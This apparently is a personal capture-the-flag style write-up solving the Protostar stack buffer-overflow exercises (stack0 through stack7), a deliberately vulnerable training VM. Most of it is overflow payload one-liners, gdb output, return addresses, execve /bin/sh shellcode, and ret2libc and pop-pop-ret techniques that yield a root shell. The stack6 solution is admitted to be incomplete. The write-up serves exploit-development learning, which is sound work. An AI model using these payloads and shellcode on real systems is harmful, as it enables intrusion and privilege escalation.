Stack 0

Pretty self explanatory, you just need to corrupt the modified variable
``echopython -c “print ‘A’*65”` | /opt/protostar/bin/stack0


**Stack 1**
Basic stuff overflow the modified variable with dcba; since it is little endian it will be stored as 61626364 :)
<pre><code class="python">./stack1 `python -c "print 'A'*64+'dcba'"`
</code></pre>

**Stack 2**

<pre><code class="python">user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'")
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable</code></pre>
Similar to the above, dump code into the environment variable greenie.

**Stack 3**

First find the address of winner, then overwrite fp variable, when it gets called code gets redirected to the winner function
<pre><code class="python">objdump -d stack3 | grep win
08048424 <win>:
echo `python -c "print 'A'*64+'\x24\x84\x04\x08'"` | ./stack3
</code></pre>

**Stack 4**

<pre><code class="python">
user@protostar:/opt/protostar/bin$ objdump -d stack4 | grep win
080483f4 <win>:
user@protostar:/opt/protostar/bin$ echo `python -c "print 'A'*76+'\xf4\x83\x04\x08'"` | ./stack4
code flow successfully changed
Segmentation fault
user@protostar:/opt/protostar/bin$
</code></pre>

**Stack 5**

Things we know -> EIP is at 77th byte onwards .Fuzzing yields the following

echo python -c "print 'A'*76+'AAAA'+'C'*100"
Giving this above input in gdb crashes the app.Examining the esp also shows that C keeps repeating.

Plan of action -> Overflow A*76 + EIP (points to shellcode address) + Shellcode

Fuzzing #1
echo `python -c "print 'A'*76+'DDDD'+ '\x90'*10+ 'C'*100"` > /tmp/t1

By going through gdb 
(gdb) run < /tmp/t1
Starting program: /opt/protostar/bin/stack5 < /tmp/t1

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) x/10s $esp
0xbffff7d0:      "\220\220\220\220\220\220\220\220\220\220", 'C' <repeats 100 times>
0xbffff83f:      "\267\001"
0xbffff842:      ""
0xbffff843:      ""
0xbffff844:      "\020\203\004\b"
0xbffff849:      ""
0xbffff84a:      ""
0xbffff84b:      ""
0xbffff84c:      "1\203\004\ba\004\b\001"
0xbffff856:      ""

Since “C” starts from 0xbffff7d0, we can use this for our return value and pad a bunch of nops. Sometimes putting shellcode right after eip corrupts the subsequent shellcode;once again this is just a practice I’ve been doing for a while and have seen this on my OSCP exam (shameless plug).

One reason would be with polymorphic shell code performing some operations based on the asm code just before it.Anyways extra NOPS dont hurt (just like nutella) unless you are working with a really small buffer. Also I have seen that using the usual cookie cutter /bin/sh shellcode dosen’t work if the vulnerable program you are attacking uses a gets() function or it’s family. This behavior is odd but further research showed that executing /bin/sh or dash to be precise requires a stdin allocated just for it. There is neat shellcode on exploit-db 1 which reopens stdin and executes /bin/sh. Further interesting reads are found on stack overflow [^2]

Further reading found here and HERE

Final Code->
 echo `python -c "print 'A'*76+'\xd0\xf7\xff\xbf'+ '\x90'*20+ '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"` > /tmp/t1

/opt/protostar/bin$ /opt/protostar/bin/stack5 < /tmp/t1

Stack 6 - incomplete solution lost on system, goto stack 7 for now

Fuzzing - Round 1

python -c "print 'A'*80 +'CCCC'" 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC

EIP is from 81 byte

Being a smart ass i tried exploit code of stack5 with a bit of mod
echo `python -c "print 'A'*80+'\xc0\xf7\xff\xbf'+ '\x90'*20+ '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"` > /tmp/t1

run < /tmp/f1
input path please: bzzzt (0xbffff7c0)

EPIC FAIL! :p

ok ran program ->
print 0xb7ecffb0 system
exit -> 0xb7ec60c0
USED S6.py 0xbfffffa6-> /bin/sh

Used the ./setup.c program Things to remember -> use sh shell instead of bash; bash in noisy gots lots of useless crap, so your $EGG variable will be somewhere in the nether

also do (cat s6;cat) | /opt/protostar/bin/stack6 This basically keeps our shell open Pretty useful reference -> https://protostar-solutions.googlecode.com/hg/Stack%206/ret2libc.pdf

Stack 7
root@kali:~# msfelfscan -p stack7
[stack7]
0x08048492 pop ebx; pop ebp; ret
0x080485c7 pop edi; pop ebp; ret
0x080485f7 pop ebx; pop ebp; ret
root@kali:~# 0x080485f7

I chose 0x080485f7, the whole methodology here is like a mini ROP where you bounce around certain parts of the program

python -c "print 'A'*80+'\xf7\x85\x04\x08'*4+'D'*50" > /tmp/t1
python -c "print 'A'*80+'\xf7\x85\x04\x08'*4+'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'" > /tmp/t1

python -c "print 'A'*80+'\xf7\x85\x04\x08'+ 'D'*8 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/t1

So I get a segfault with 0x44444444 which is D
To isolate on the right offset i used pattern_create 50 on my kali
Got segfault at 0x33614132
pattern_offset points to 8.
So Ret address + 8 bytes can be used to store our epic shellcode :p

I used an example method which is in Hacking: The Art of Exploitation, 2nd Edition to get the address of environment variable and point to that address.
python -c "print 'A'*80+'\xf7\x85\x04\x08'+'D'*8+'E'*4" > /tmp/t1

Things to do -Load shellcode into env variable -Get address of variable using getenv code (page 146 in the book, your welcome ) -write the following onto a file
python -c "print 'A'*80+'\xf7\x85\x04\x08'+'D'*8+'\x5f\xff\xff\xbf'" > /tmp/t1

The last address was the address of my environment variable which will vary for you.Finally do
(cat /tmp/t1;cat) | /opt/protostar/bin/stack7 You should get root.

Next in the series will be format string exploits. Further reading on stack overflows can be found here